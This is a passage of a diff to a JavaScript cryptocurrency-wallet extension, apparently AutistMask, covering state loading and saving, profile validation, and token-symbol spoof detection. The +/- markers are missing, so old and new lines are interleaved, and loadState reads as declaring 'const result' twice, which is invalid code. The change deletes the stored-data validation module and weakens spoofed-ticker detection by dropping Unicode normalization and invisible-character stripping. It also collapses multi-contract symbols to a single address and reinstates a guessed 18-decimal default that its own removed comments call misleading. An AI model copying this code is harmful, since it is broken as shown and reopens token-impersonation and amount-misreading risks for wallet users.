assertStateUsable(result.autistmask);
|
||||
// Normalized, not raw: a field this page did not change still has to
|
||||
// come from storage in its loaded (self-healed) shape. See
|
||||
// normalizePersisted() in persistedState.js.
|
||||
const fresh = normalizePersisted(result.autistmask);
|
||||
|
||||
const merged = { ...fresh };
|
||||
for (const key of PERSISTED_FIELDS) {
|
||||
if (key === "wallets") {
|
||||
merged.wallets = mergeListByIdentity(
|
||||
baseline ? baseline.wallets : [],
|
||||
current.wallets,
|
||||
fresh.wallets,
|
||||
walletIdentity,
|
||||
mergeWallet,
|
||||
);
|
||||
} else if (key === "allowedSites" || key === "deniedSites") {
|
||||
merged[key] = mergeSiteMap(
|
||||
baseline ? baseline[key] : {},
|
||||
current[key],
|
||||
fresh[key],
|
||||
);
|
||||
} else if (key === "networkEndpoints") {
|
||||
merged.networkEndpoints = mergeNetworkEndpoints(
|
||||
baseline ? baseline.networkEndpoints : {},
|
||||
current.networkEndpoints,
|
||||
fresh.networkEndpoints,
|
||||
);
|
||||
} else if (
|
||||
baseline === null ||
|
||||
!deepEqual(current[key], baseline[key])
|
||||
) {
|
||||
merged[key] = current[key];
|
||||
}
|
||||
}
|
||||
merged.hasWallet = Boolean(merged.wallets && merged.wallets.length > 0);
|
||||
// Stamped on every write, never merged or diffed: the record that goes to
|
||||
// storage is in THIS build's shape whatever shape it was read in, which is
|
||||
// what migrates the unversioned records every install in the field holds.
|
||||
merged.schemaVersion = STATE_SCHEMA_VERSION;
|
||||
|
||||
await storageSet({ autistmask: merged });
|
||||
|
||||
// Derived from this page's own wallets, never adopted off the wire —
|
||||
// see loadState(). Everything else this page did not change is left
|
||||
// exactly as it stood; see the note above.
|
||||
rawState.hasWallet = rawState.wallets.length > 0;
|
||||
|
||||
baseline = structuredClone(snapshotPersisted());
|
||||
}
|
||||
|
||||
// showView() calls saveState() on every navigation without awaiting it, so
|
||||
// two saves from the SAME page can be in flight at once — e.g. a screen
|
||||
// shown, then immediately replaced before the first save's storageGet()
|
||||
// round trip has come back. Left concurrent, the first save's turn would
|
||||
// finish after the second's live-state mutation and then re-hydrate `state`
|
||||
// from what IT read, stomping the second, later change back to a stale
|
||||
// value — the same clobber this function exists to prevent, just between
|
||||
// two saves on one page instead of two pages. Queuing makes every save's
|
||||
// snapshot-diff-write-rehydrate run start to finish before the next one
|
||||
// begins, so each one only ever sees the true live state at its turn.
|
||||
let saveQueue = Promise.resolve();
|
||||
|
||||
// Where a failed save is REPORTED, set once by the context that has a screen
|
||||
// to say it on (src/popup/index.js).
|
||||
//
|
||||
// A save that fails must not fail silently. showView() fires saveState() on
|
||||
// every navigation without awaiting it, and the queue below has to attach a
|
||||
// rejection handler to keep advancing — so a failing save was swallowed
|
||||
// entirely: no throw, no message, nothing on screen. The wallet kept running
|
||||
// against storage that was rejecting every write, which is the data-loss half
|
||||
// of https://git.eeqj.de/sneak/AutistMask/issues/362. The awaited callers were
|
||||
// no better off: `await saveState()` inside an unguarded event handler surfaces
|
||||
// in the console and nowhere the user looks.
|
||||
//
|
||||
// This is the "tell the user" half; the other half is the floor in
|
||||
// normalizePersisted(), which stops the malformed-record cause from arising in
|
||||
// the first place. Both, because a floor only covers the causes it knows about
|
||||
// and storage can still fail for reasons of its own (quota, a revoked
|
||||
// permission, a record a newer build wrote).
|
||||
let saveFailureHandler = null;
|
||||
|
||||
function onSaveFailure(fn) {
|
||||
saveFailureHandler = fn;
|
||||
}
|
||||
|
||||
function reportSaveFailure(err) {
|
||||
log.errorf("state: saving failed, changes were NOT persisted:", err);
|
||||
if (!saveFailureHandler) return;
|
||||
try {
|
||||
saveFailureHandler(err);
|
||||
} catch (e) {
|
||||
// The reporter is the last thing standing between a failed save and
|
||||
// silence; a reporter that throws must not become an unhandled
|
||||
// rejection of its own on top of it.
|
||||
log.errorf("state: the save-failure reporter itself failed:", e);
|
||||
}
|
||||
}
|
||||
|
||||
function saveState() {
|
||||
const turn = saveQueue.then(saveStateOnce);
|
||||
// The queue must advance even when a save rejects, or every save after
|
||||
// it queues behind a promise that never settles.
|
||||
saveQueue = turn.catch(() => {});
|
||||
// Every failed save is reported, whether or not the caller awaited this
|
||||
// one. The returned promise still rejects, so a caller that DOES await
|
||||
// keeps its own error handling.
|
||||
turn.catch(reportSaveFailure);
|
||||
return turn;
|
||||
}
|
||||
|
||||
// Rejects with StateUnusableError for a stored record this build cannot make
|
||||
// sense of. Nothing is assigned and `loaded` stays false in that case, so a
|
||||
// caller that ignores the rejection gets StateNotLoadedError on the first
|
||||
// read rather than a half-populated profile. The caller that does NOT ignore
|
||||
// it is the popup entry point, which shows the recovery screen
|
||||
// (src/popup/views/stateRecovery.js) instead of proceeding.
|
||||
async function loadState() {
|
||||
const result = await storageGet("autistmask");
|
||||
// Before normalization, on the raw bytes: normalizing first would paper
|
||||
// over the very shapes this refuses, which is how a corrupt record used to
|
||||
// reach the popup and blank it (issue #311).
|
||||
assertStateUsable(result.autistmask);
|
||||
if (migrationNeeded(result.autistmask)) {
|
||||
log.infof(
|
||||
"state: migrating an unversioned profile to schema version",
|
||||
STATE_SCHEMA_VERSION,
|
||||
);
|
||||
}
|
||||
const result = await storageApi.get("autistmask");
|
||||
if (result.autistmask) {
|
||||
Object.assign(rawState, normalizePersisted(result.autistmask));
|
||||
const saved = result.autistmask;
|
||||
state.wallets = saved.wallets || [];
|
||||
// Derived, never read from storage: a profile persisted with the flag
|
||||
// out of step with the wallet list would otherwise stay broken on
|
||||
// every load. Nothing depends on the two disagreeing.
|
||||
state.hasWallet = state.wallets.length > 0;
|
||||
state.trackedTokens = saved.trackedTokens || [];
|
||||
state.networkId = saved.networkId || DEFAULT_STATE.networkId;
|
||||
state.rpcUrl = saved.rpcUrl || DEFAULT_STATE.rpcUrl;
|
||||
state.blockscoutUrl =
|
||||
saved.blockscoutUrl || DEFAULT_STATE.blockscoutUrl;
|
||||
state.lastBalanceRefresh = saved.lastBalanceRefresh || 0;
|
||||
state.activeAddress = saved.activeAddress || null;
|
||||
state.allowedSites =
|
||||
saved.allowedSites && !Array.isArray(saved.allowedSites)
|
||||
? saved.allowedSites
|
||||
: {};
|
||||
state.deniedSites =
|
||||
saved.deniedSites && !Array.isArray(saved.deniedSites)
|
||||
? saved.deniedSites
|
||||
: {};
|
||||
state.rememberSiteChoice =
|
||||
saved.rememberSiteChoice !== undefined
|
||||
? saved.rememberSiteChoice
|
||||
: true;
|
||||
state.showZeroBalanceTokens =
|
||||
saved.showZeroBalanceTokens !== undefined
|
||||
? saved.showZeroBalanceTokens
|
||||
: true;
|
||||
// A profile written before this setting existed has no key for it.
|
||||
// It is a safety filter, so absent must load as on, not as undefined.
|
||||
state.hideSpoofedSymbols =
|
||||
saved.hideSpoofedSymbols !== undefined
|
||||
? saved.hideSpoofedSymbols
|
||||
: true;
|
||||
state.hideLowHolderTokens =
|
||||
saved.hideLowHolderTokens !== undefined
|
||||
? saved.hideLowHolderTokens
|
||||
: true;
|
||||
state.hideFraudContracts =
|
||||
saved.hideFraudContracts !== undefined
|
||||
? saved.hideFraudContracts
|
||||
: true;
|
||||
state.hideDustTransactions =
|
||||
saved.hideDustTransactions !== undefined
|
||||
? saved.hideDustTransactions
|
||||
: true;
|
||||
state.dustThresholdGwei =
|
||||
saved.dustThresholdGwei !== undefined
|
||||
? saved.dustThresholdGwei
|
||||
: 100000;
|
||||
state.utcTimestamps =
|
||||
saved.utcTimestamps !== undefined ? saved.utcTimestamps : false;
|
||||
state.fraudContracts = saved.fraudContracts || [];
|
||||
state.tokenHolderCache = saved.tokenHolderCache || {};
|
||||
state.theme = saved.theme || "system";
|
||||
state.debugMode =
|
||||
saved.debugMode !== undefined ? saved.debugMode : false;
|
||||
state.currentView = saved.currentView || null;
|
||||
state.selectedWallet =
|
||||
saved.selectedWallet !== undefined ? saved.selectedWallet : null;
|
||||
state.selectedAddress =
|
||||
saved.selectedAddress !== undefined ? saved.selectedAddress : null;
|
||||
state.selectedToken = saved.selectedToken || null;
|
||||
state.viewData = saved.viewData || {};
|
||||
state.viewStack = Array.isArray(saved.viewStack) ? saved.viewStack : [];
|
||||
}
|
||||
// Whether storage had a profile or was empty, this context has now read
|
||||
// it, and the defaults standing in for an empty profile are the right
|
||||
// answer rather than a stand-in for one nobody looked for.
|
||||
loaded = true;
|
||||
// The point of comparison every saveState() on this page diffs against.
|
||||
// See PERSISTED_FIELDS in persistedState.js for why a reference here
|
||||
// would be wrong.
|
||||
baseline = structuredClone(snapshotPersisted());
|
||||
}
|
||||
|
||||
// Through the guarded proxy, not rawState: a caller asking which address is
|
||||
// selected before anything was loaded gets the same loud failure it would get
|
||||
// reading the fields itself.
|
||||
function currentAddress() {
|
||||
if (state.selectedWallet === null || state.selectedAddress === null) {
|
||||
return null;
|
||||
@@ -628,9 +164,7 @@ function currentAddress() {
|
||||
module.exports = {
|
||||
state,
|
||||
saveState,
|
||||
onSaveFailure,
|
||||
loadState,
|
||||
currentAddress,
|
||||
currentNetwork,
|
||||
StateNotLoadedError,
|
||||
};
|
||||
|
||||
@@ -1,278 +0,0 @@
|
||||
// The version stamped on the stored profile, and the shape check every read
|
||||
// of one goes through.
|
||||
//
|
||||
// Storage is the one input to this extension that nobody validated. A profile
|
||||
// carried no version at all, so there was no way to tell a record this build
|
||||
// understands from one a later build wrote, and loadState() coerced scalars
|
||||
// while trusting the structure — so a `wallets` that was a string, or an array
|
||||
// of nulls, or a later schema's wallet records, reached the popup and threw on
|
||||
// the first dereference. The popup rendered NOTHING: no view, no message, no
|
||||
// control, and no way out from inside the product
|
||||
// (https://git.eeqj.de/sneak/AutistMask/issues/311).
|
||||
//
|
||||
// Two separate jobs, deliberately not merged:
|
||||
//
|
||||
// stateProblem() / assertStateUsable() refuse a record this build cannot
|
||||
// safely reason about, loudly, naming the problem in a
|
||||
// sentence that goes on screen. This is the gate.
|
||||
// normalizePersisted() (persistedState.js) self-heal a record that IS
|
||||
// usable: absent fields, legacy shapes, out-of-range flags.
|
||||
//
|
||||
// The gate runs FIRST, on the raw stored bytes, before normalization has a
|
||||
// chance to paper over a record whose meaning nobody can vouch for. A blob
|
||||
// that fails it is left in storage untouched — it is the user's only copy of
|
||||
// whatever it holds, and the recovery screen exports it before offering to
|
||||
// erase it.
|
||||
//
|
||||
// What is checked HERE is what nothing downstream can floor: the wallet list,
|
||||
// the version, and the network id that keys an object. Every other field is
|
||||
// normalizePersisted()'s to make safe, and what that function does is NOT
|
||||
// uniform across the record.
|
||||
//
|
||||
// WHICH FLOOR A GIVEN FIELD HAS IS NOT WRITTEN HERE. It is
|
||||
// tests/persistedFieldContract.test.js: one row per persisted field, naming
|
||||
// the property that field's floor is claimed to have, and PROVING it by
|
||||
// driving the real code with hostile values — the gate for a field the gate
|
||||
// refuses, normalizePersisted() for a field it floors, and, for a field whose
|
||||
// only defence is that nothing dereferences it structurally, a boot of the
|
||||
// real popup entry point onto EVERY view the popup can reopen onto.
|
||||
//
|
||||
// That last part is the whole point, because this defect class lives on the
|
||||
// RESTORE path and not on Home. Take the claim NARROWLY, exactly as that file
|
||||
// states it: what those boots prove is no structural dereference on the code
|
||||
// paths a WHOLLY-CORRUPTED PROFILE takes — which is not every path a stored
|
||||
// record takes. Not driven: any pairing of values the four slots do not
|
||||
// produce, a view only forward navigation opens, anything behind a click, and
|
||||
// everything a healthy profile reaches. Within that boundary the verdict is
|
||||
// unconditional, including a dereference that takes two corrupted fields at
|
||||
// once. That suite also goes red on a field that gains a floor while its row
|
||||
// still claims it has none, and on a field added to PERSISTED_FIELDS with no
|
||||
// row at all.
|
||||
//
|
||||
// That test exists because this comment did not work. It carried a
|
||||
// hand-written justification per field, and it shipped a false one in three
|
||||
// consecutive changes — a different field each time, each caught only by a
|
||||
// reviewer re-deriving thirty fields by hand. A claim nobody can execute is
|
||||
// worse than no claim, because it is believed.
|
||||
//
|
||||
// The trap is worth stating here, since it is what all three got wrong: a
|
||||
// check on a CONTAINER is not a check on its ENTRIES, and the dereference is
|
||||
// one level below the container. `[1, 2]` is a list, `{"0x…": "notalist"}` is
|
||||
// a record, and `{"currentView":"success-tx","viewData":{"hash":"0x1"}}`
|
||||
// passes the restore gate and throws on the address the renderer below it
|
||||
// reads. A field added to the record needs a decision about its entries as
|
||||
// well as its shape — and then a row in that test.
|
||||
|
||||
const { isKnownNetworkId } = require("./networks");
|
||||
|
||||
// Bump this when the MEANING of a stored field changes, and add the migration
|
||||
// that carries the older version forward. Adding a field with a defaulted
|
||||
// absent value is not a bump: normalizePersisted() already handles that, and
|
||||
// bumping for it would send every older install to the recovery screen for no
|
||||
// reason.
|
||||
//
|
||||
// Version 1 is the shape that shipped unversioned. An unversioned record is
|
||||
// therefore version 1, not a defect — see migrationNeeded() below.
|
||||
const STATE_SCHEMA_VERSION = 1;
|
||||
|
||||
// Thrown by every read path that finds a record it cannot use. `problem` is
|
||||
// the sentence shown to the user; `message` carries the same text so a log
|
||||
// line or a rethrow is not empty.
|
||||
class StateUnusableError extends Error {
|
||||
constructor(problem) {
|
||||
super(problem);
|
||||
this.name = "StateUnusableError";
|
||||
this.problem = problem;
|
||||
}
|
||||
}
|
||||
|
||||
function isPlainObject(value) {
|
||||
return typeof value === "object" && value !== null && !Array.isArray(value);
|
||||
}
|
||||
|
||||
// Own properties only, everywhere in this file. `saved` comes from storage as
|
||||
// parsed JSON, so `saved.constructor` and `saved.__proto__` answer from the
|
||||
// prototype chain for a record that carries neither — a check written as a
|
||||
// plain truthiness test can be satisfied by Object.prototype rather than by
|
||||
// anything the user's profile actually contains.
|
||||
function has(obj, key) {
|
||||
return Object.prototype.hasOwnProperty.call(obj, key);
|
||||
}
|
||||
|
||||
function ordinal(index) {
|
||||
return String(index + 1);
|
||||
}
|
||||
|
||||
function describeType(value) {
|
||||
if (value === null) return "null";
|
||||
if (Array.isArray(value)) return "a list";
|
||||
return "a " + typeof value;
|
||||
}
|
||||
|
||||
// One address record, as every screen dereferences it.
|
||||
function addressProblem(addr, walletIndex, addrIndex) {
|
||||
const where =
|
||||
"address " +
|
||||
ordinal(addrIndex) +
|
||||
" of wallet " +
|
||||
ordinal(walletIndex) +
|
||||
" in the saved data";
|
||||
if (!isPlainObject(addr)) {
|
||||
return "The " + where + " is " + describeType(addr) + ", not a record.";
|
||||
}
|
||||
if (typeof addr.address !== "string" || addr.address === "") {
|
||||
return "The " + where + " has no address.";
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
function walletProblem(wallet, index) {
|
||||
const where = "Wallet " + ordinal(index) + " in the saved data";
|
||||
if (!isPlainObject(wallet)) {
|
||||
return where + " is " + describeType(wallet) + ", not a wallet record.";
|
||||
}
|
||||
if (!Array.isArray(wallet.addresses)) {
|
||||
return where + " has no list of addresses.";
|
||||
}
|
||||
if (has(wallet, "name") && typeof wallet.name !== "string") {
|
||||
return where + " has a name that is not text.";
|
||||
}
|
||||
for (let i = 0; i < wallet.addresses.length; i++) {
|
||||
const problem = addressProblem(wallet.addresses[i], index, i);
|
||||
if (problem) return problem;
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
function versionProblem(saved) {
|
||||
// No version field at all is the shape every install in the field has:
|
||||
// no build ever wrote one. It is version 1, and it is migrated in place.
|
||||
if (!has(saved, "schemaVersion")) return null;
|
||||
const version = saved.schemaVersion;
|
||||
if (
|
||||
typeof version !== "number" ||
|
||||
!Number.isInteger(version) ||
|
||||
version < 1
|
||||
) {
|
||||
return (
|
||||
"The saved data carries a schema version AutistMask does not" +
|
||||
" recognize (" +
|
||||
JSON.stringify(version) +
|
||||
")."
|
||||
);
|
||||
}
|
||||
if (version > STATE_SCHEMA_VERSION) {
|
||||
return (
|
||||
"The saved data was written by a newer version of AutistMask" +
|
||||
" (schema version " +
|
||||
version +
|
||||
"; this build understands version " +
|
||||
STATE_SCHEMA_VERSION +
|
||||
")."
|
||||
);
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
/**
|
||||
* The reason this build cannot use `saved`, as a sentence for the user, or
|
||||
* null when it can.
|
||||
*
|
||||
* @param {*} saved the raw record from storage, or undefined for a fresh
|
||||
* install.
|
||||
* @returns {string|null}
|
||||
*/
|
||||
function stateProblem(saved) {
|
||||
// Nothing stored is a first run, not a defect.
|
||||
if (saved === undefined || saved === null) return null;
|
||||
if (!isPlainObject(saved)) {
|
||||
return (
|
||||
"The saved data is " +
|
||||
describeType(saved) +
|
||||
", not the record AutistMask stores."
|
||||
);
|
||||
}
|
||||
|
||||
const version = versionProblem(saved);
|
||||
if (version) return version;
|
||||
|
||||
// Read once, from an OWN property or not at all, so that a polluted
|
||||
// prototype cannot decide whether a profile is refused. Note that
|
||||
// normalizePersisted() reads the same field plainly, and so WOULD consult
|
||||
// the prototype chain: the two halves agree only because a record arriving
|
||||
// from storage has been through structuredClone and always carries
|
||||
// Object.prototype. Nothing reachable from storage can put them at odds,
|
||||
// but a caller that hands either one a hand-built object with an unusual
|
||||
// prototype is not covered by that.
|
||||
const wallets =
|
||||
has(saved, "wallets") && saved.wallets !== undefined
|
||||
? saved.wallets
|
||||
: [];
|
||||
if (!Array.isArray(wallets)) {
|
||||
return (
|
||||
"The list of wallets in the saved data is " +
|
||||
describeType(wallets) +
|
||||
", not a list."
|
||||
);
|
||||
}
|
||||
for (let i = 0; i < wallets.length; i++) {
|
||||
const problem = walletProblem(wallets[i], i);
|
||||
if (problem) return problem;
|
||||
}
|
||||
|
||||
// networkId is not merely displayed: it is an object KEY into
|
||||
// state.networkEndpoints. A corrupt "__proto__" would set that map's
|
||||
// prototype instead of an own key, so the user's endpoint would silently
|
||||
// not be recorded and a switch away and back would return the public
|
||||
// default. isKnownNetworkId() is an own-property test against the network
|
||||
// table for exactly that reason.
|
||||
if (
|
||||
has(saved, "networkId") &&
|
||||
saved.networkId !== undefined &&
|
||||
!isKnownNetworkId(saved.networkId)
|
||||
) {
|
||||
return (
|
||||
"The saved data selects a network AutistMask does not know (" +
|
||||
JSON.stringify(saved.networkId) +
|
||||
")."
|
||||
);
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
/**
|
||||
* Refuse a record this build cannot use.
|
||||
*
|
||||
* @param {*} saved the raw record from storage.
|
||||
* @throws {StateUnusableError}
|
||||
*/
|
||||
function assertStateUsable(saved) {
|
||||
const problem = stateProblem(saved);
|
||||
if (problem) throw new StateUnusableError(problem);
|
||||
}
|
||||
|
||||
/**
|
||||
* Whether `saved` is a usable record written before versions existed, and so
|
||||
* gets the current version stamped on it the next time anything writes. Purely
|
||||
* informational — the migration itself is that stamp, since version 1 IS the
|
||||
* unversioned shape.
|
||||
*
|
||||
* @param {*} saved
|
||||
* @returns {boolean}
|
||||
*/
|
||||
function migrationNeeded(saved) {
|
||||
return (
|
||||
isPlainObject(saved) &&
|
||||
!has(saved, "schemaVersion") &&
|
||||
stateProblem(saved) === null
|
||||
);
|
||||
}
|
||||
|
||||
module.exports = {
|
||||
STATE_SCHEMA_VERSION,
|
||||
StateUnusableError,
|
||||
assertStateUsable,
|
||||
migrationNeeded,
|
||||
stateProblem,
|
||||
};
|
||||
@@ -1,43 +0,0 @@
|
||||
// The length bound on a token symbol as displayed.
|
||||
//
|
||||
// A symbol is whatever an ERC-20's symbol() returns and the wallet fetches
|
||||
// it from the block explorer, which imposes no length: src/shared/balances.js
|
||||
// takes `item.token.symbol` as given. A kilobyte-long symbol is a real
|
||||
// return value, and rendering it pushes every amount off the row, scrolls
|
||||
// the balance list past the screen, and hides the figures the user is there
|
||||
// to read.
|
||||
//
|
||||
// This is a layout bound, not a security control. Escaping is what makes a
|
||||
// hostile symbol inert (see src/shared/html.js), and isSpoofedSymbol() is
|
||||
// what catches one impersonating a known ticker; neither job belongs here
|
||||
// and neither is done here. Truncating an unescaped symbol would still be
|
||||
// an injection, just a shorter one.
|
||||
//
|
||||
// 12 characters, which is the bound lookupTokenInfo() in
|
||||
// src/shared/balances.js already applies when it stores a symbol read
|
||||
// straight off a contract; the explorer path was the one with no bound at
|
||||
// all. The longest symbol across the 512 entries of the bundled list is 10
|
||||
// (MSYRUPUSDP), so nothing the wallet ships as a real token is ever
|
||||
// truncated. The ellipsis is what tells the user the name they are looking
|
||||
// at is not the whole name — worth knowing before they send to it.
|
||||
|
||||
const MAX_SYMBOL_LENGTH = 12;
|
||||
|
||||
// The placeholder for a token whose symbol the explorer did not report.
|
||||
// balances.js already substitutes this; repeated here so a symbol that
|
||||
// arrives empty from anywhere else displays the same way rather than as a
|
||||
// blank gap in the row.
|
||||
const UNKNOWN_SYMBOL = "???";
|
||||
|
||||
function displaySymbol(symbol) {
|
||||
const s = symbol === null || symbol === undefined ? "" : String(symbol);
|
||||
if (s.length === 0) return UNKNOWN_SYMBOL;
|
||||
if (s.length <= MAX_SYMBOL_LENGTH) return s;
|
||||
return s.slice(0, MAX_SYMBOL_LENGTH - 1) + "…";
|
||||
}
|
||||
|
||||
module.exports = {
|
||||
displaySymbol,
|
||||
MAX_SYMBOL_LENGTH,
|
||||
UNKNOWN_SYMBOL,
|
||||
};
|
||||
@@ -8,23 +8,11 @@
|
||||
// either verdict alone, because the balance list is where the user forms
|
||||
// their belief about what they own (issue #235).
|
||||
//
|
||||
// KNOWN_SYMBOLS maps a symbol to the set of lowercased contract addresses
|
||||
// that may bear it, or to null. Null means the symbol belongs to the native
|
||||
// asset, which has no contract at all, so no contract may bear it and every
|
||||
// one that does is a spoof. "ETH" is the only such entry today; the rule is
|
||||
// KNOWN_SYMBOLS maps a symbol to the lowercased contract address that may
|
||||
// bear it, or to null. Null means the symbol belongs to the native asset,
|
||||
// which has no contract at all, so no contract may bear it and every one
|
||||
// that does is a spoof. "ETH" is the only such entry today; the rule is
|
||||
// written so that a second one needs no change here or at any call site.
|
||||
//
|
||||
// The value is a set because a ticker is not unique: seven symbols in the
|
||||
// bundled list belong to two real contracts each, and answering with one of
|
||||
// them hid the other one's holders' money (issue #276). Membership, not
|
||||
// equality, is therefore the question — but it is the same question, asked of
|
||||
// a table that can now state the truth. Every address in a set is one the
|
||||
// wallet ships as a real token; a contract outside the set is still a spoof.
|
||||
//
|
||||
// The symbol is attacker-controlled — it is whatever the ERC-20 contract
|
||||
// returns — so the lookup is done on a normalized form (issue #260): the
|
||||
// question is whether the symbol reaches the user's eye as a known one,
|
||||
// since that is what the user acts on.
|
||||
|
||||
const { KNOWN_SYMBOLS } = require("./tokenList");
|
||||
|
||||
@@ -34,59 +22,6 @@ function normalizeAddress(addr) {
|
||||
return (addr || "").toLowerCase();
|
||||
}
|
||||
|
||||
// Fold a symbol onto what a user actually sees, and no further:
|
||||
//
|
||||
// NFKC collapses compatibility variants that render as the ASCII
|
||||
// letters they imitate — fullwidth ETH, styled mathematical
|
||||
// letters — and maps the non-ASCII spaces onto U+0020.
|
||||
// strip drops what paints nothing: \p{Cf} plus
|
||||
// \p{Default_Ignorable_Code_Point} plus U+007F. That covers
|
||||
// the format characters (zero-width space, joiner and
|
||||
// non-joiner, word joiner, soft hyphen, byte-order mark, bidi
|
||||
// marks and overrides), the variation selectors, the Hangul
|
||||
// fillers, and DELETE. Removed everywhere, not merely at the
|
||||
// ends.
|
||||
// trim removes surrounding whitespace, which HTML collapses:
|
||||
// `" ETH "` is painted next to the user's real ETH as `ETH`.
|
||||
// toUpperCase makes the comparison case-insensitive, as before.
|
||||
//
|
||||
// The rule is "strip what paints nothing". The Unicode classes are how
|
||||
// that is spelled, not what it means, which is why U+007F is named on its
|
||||
// own: it is a control rather than a default-ignorable character, so no
|
||||
// class here reaches it, yet it paints nothing all the same. Measured in
|
||||
// the repo's pinned e2e Chromium (16px sans-serif, plain `ETH` = 32.00px,
|
||||
// so an invisible prefix leaves 32.00px):
|
||||
//
|
||||
// U+007F, U+3164, U+115F, U+FE0F, U+FE00 32.00px — invisible
|
||||
// U+FFA0 40.00px — a box
|
||||
// U+1160 48.00px — a box
|
||||
// U+0001, U+0085, U+0090 48.00px — a box
|
||||
//
|
||||
// U+1160 and U+FFA0 are `Default_Ignorable_Code_Point` members that font
|
||||
// fallback nonetheless draws, and they are stripped anyway: erring toward
|
||||
// hiding a token that does not look like `ETH` is the harmless direction of
|
||||
// the two. The other controls are left alone for the same reason read the
|
||||
// other way — a symbol carrying a visible box does not reach the eye as
|
||||
// `ETH`, so filtering it would hide a token the user could not have
|
||||
// confused with the native asset.
|
||||
//
|
||||
// Deliberately not folded, and asserted as open in tests/symbolSpoof.test.js:
|
||||
// interior whitespace (`E T H` renders as `E T H`, so folding it would filter
|
||||
// a token nobody could confuse with the native asset), confusables that are
|
||||
// distinct letters rather than compatibility variants (Cyrillic capital Ie,
|
||||
// U+0415; Greek capital Epsilon, U+0395), bidi reordering, which needs the
|
||||
// bidi algorithm rather than a character filter, and the visible controls.
|
||||
//
|
||||
// This decides only how the question is asked. Nothing here changes what a
|
||||
// surface displays; a token still shows the symbol it reports.
|
||||
function normalizeSymbol(symbol) {
|
||||
return String(symbol || "")
|
||||
.normalize("NFKC")
|
||||
.replace(/[\p{Cf}\p{Default_Ignorable_Code_Point}\x7F]/gu, "")
|
||||
.trim()
|
||||
.toUpperCase();
|
||||
}
|
||||
|
||||
// True when a token bearing `symbol` from contract `contractAddress` is
|
||||
// impersonating a known symbol.
|
||||
//
|
||||
@@ -96,11 +31,11 @@ function normalizeSymbol(symbol) {
|
||||
function isSpoofedSymbol(symbol, contractAddress) {
|
||||
const contract = normalizeAddress(contractAddress);
|
||||
if (!contract) return false;
|
||||
const sym = normalizeSymbol(symbol);
|
||||
const sym = (symbol || "").toUpperCase();
|
||||
if (!KNOWN_SYMBOLS.has(sym)) return false;
|
||||
const legit = KNOWN_SYMBOLS.get(sym);
|
||||
if (legit === null) return true;
|
||||
return !legit.has(contract);
|
||||
return contract !== normalizeAddress(legit);
|
||||
}
|
||||
|
||||
module.exports = {
|
||||
|
||||
@@ -3607,33 +3607,14 @@ for (const t of TOKENS) {
|
||||
TOKEN_BY_ADDRESS.set(t.address.toLowerCase(), t);
|
||||
}
|
||||
|
||||
// Build a map of symbol (uppercased) -> the set of contract addresses
|
||||
// (lowercased) that legitimately bear it. Used for spoofed-symbol detection.
|
||||
// "ETH" maps to null: the native asset has no contract, so no contract may
|
||||
// bear its symbol.
|
||||
//
|
||||
// The value is a set and not a single address because tickers are not unique
|
||||
// and the list above proves it: seven of these 512 tokens share a symbol with
|
||||
// another entry — FRAX, REUSD, TON, EURE, MSUSD, MUSD and JPYC — at two
|
||||
// different real contracts each, all of them from the same source fetch. A
|
||||
// one-address-per-symbol table can only answer that by picking a winner, and
|
||||
// the loser is then a token in our own bundled list that the spoof filter
|
||||
// hides from the balance list, the history and the send selector at its own
|
||||
// address, so the user cannot spend it (issue #276). Naming every address
|
||||
// that bears the symbol is the only shape that says what is true; it does not
|
||||
// loosen the rule, because a contract outside the set is still a spoof.
|
||||
// Build a map of symbol (uppercased) -> legitimate contract address (lowercased).
|
||||
// Used for spoofed-symbol detection. "ETH" maps to null (native token).
|
||||
const KNOWN_SYMBOLS = new Map();
|
||||
KNOWN_SYMBOLS.set("ETH", null);
|
||||
for (const t of TOKENS) {
|
||||
const upper = t.symbol.toUpperCase();
|
||||
if (!KNOWN_SYMBOLS.has(upper)) {
|
||||
KNOWN_SYMBOLS.set(upper, new Set());
|
||||
}
|
||||
const addresses = KNOWN_SYMBOLS.get(upper);
|
||||
// A null entry is the native asset and stays null: an ERC-20 that reports
|
||||
// the native symbol does not thereby become entitled to it.
|
||||
if (addresses !== null) {
|
||||
addresses.add(t.address.toLowerCase());
|
||||
KNOWN_SYMBOLS.set(upper, t.address.toLowerCase());
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -11,14 +11,6 @@ const { log, debugFetch } = require("./log");
|
||||
const { TOKEN_BY_ADDRESS } = require("./tokenList");
|
||||
const { parseHoldersCount, isLowHolderCount } = require("./holders");
|
||||
const { isSpoofedSymbol } = require("./symbolSpoof");
|
||||
// The uint8 test every scale in this wallet goes through. Shared, not copied:
|
||||
// a scale is either reported or it is unknown, and "unknown" must mean the
|
||||
// same thing here as it does on the screens that refuse to format one.
|
||||
const { toDecimals } = require("./transferAmount");
|
||||
// The plain 4-decimal rule. The history and balance lists deliberately keep
|
||||
// truncation without the approval screens' nonzero floor: the transaction
|
||||
// detail view is the authoritative record and already shows exact precision.
|
||||
const { truncateAmount: formatTxValue } = require("./amountDisplay");
|
||||
|
||||
// Ethereum addresses are case-insensitive: EIP-55 mixed case is a checksum
|
||||
// over the address, not part of its identity. Every address comparison in
|
||||
@@ -28,6 +20,13 @@ function normalizeAddress(addr) {
|
||||
return (addr || "").toLowerCase();
|
||||
}
|
||||
|
||||
function formatTxValue(val) {
|
||||
const parts = val.split(".");
|
||||
if (parts.length === 1) return val + ".0000";
|
||||
const dec = (parts[1] + "0000").slice(0, 4);
|
||||
return parts[0] + "." + dec;
|
||||
}
|
||||
|
||||
function parseTx(tx, addrLower) {
|
||||
const from = tx.from?.hash || "";
|
||||
const to = tx.to?.hash || "";
|
||||
@@ -96,37 +95,21 @@ function parseTx(tx, addrLower) {
|
||||
function parseTokenTransfer(tt, addrLower) {
|
||||
const from = tt.from?.hash || "";
|
||||
const to = tt.to?.hash || "";
|
||||
// The explorer's own answer, or null. Never a default: a transfer of
|
||||
// 5000000000 units formatted at a guessed 18 reads as 0.000000005, and
|
||||
// nothing downstream can tell that from a real 18-decimal transfer of
|
||||
// that size. `parseInt(x || "18", 10)` also collapsed a genuine scale of
|
||||
// ZERO into 18 (https://git.eeqj.de/sneak/AutistMask/issues/246).
|
||||
const decimals = toDecimals(tt.total?.decimals);
|
||||
const decimals = parseInt(tt.total?.decimals || "18", 10);
|
||||
const rawVal = tt.total?.value || "0";
|
||||
const direction =
|
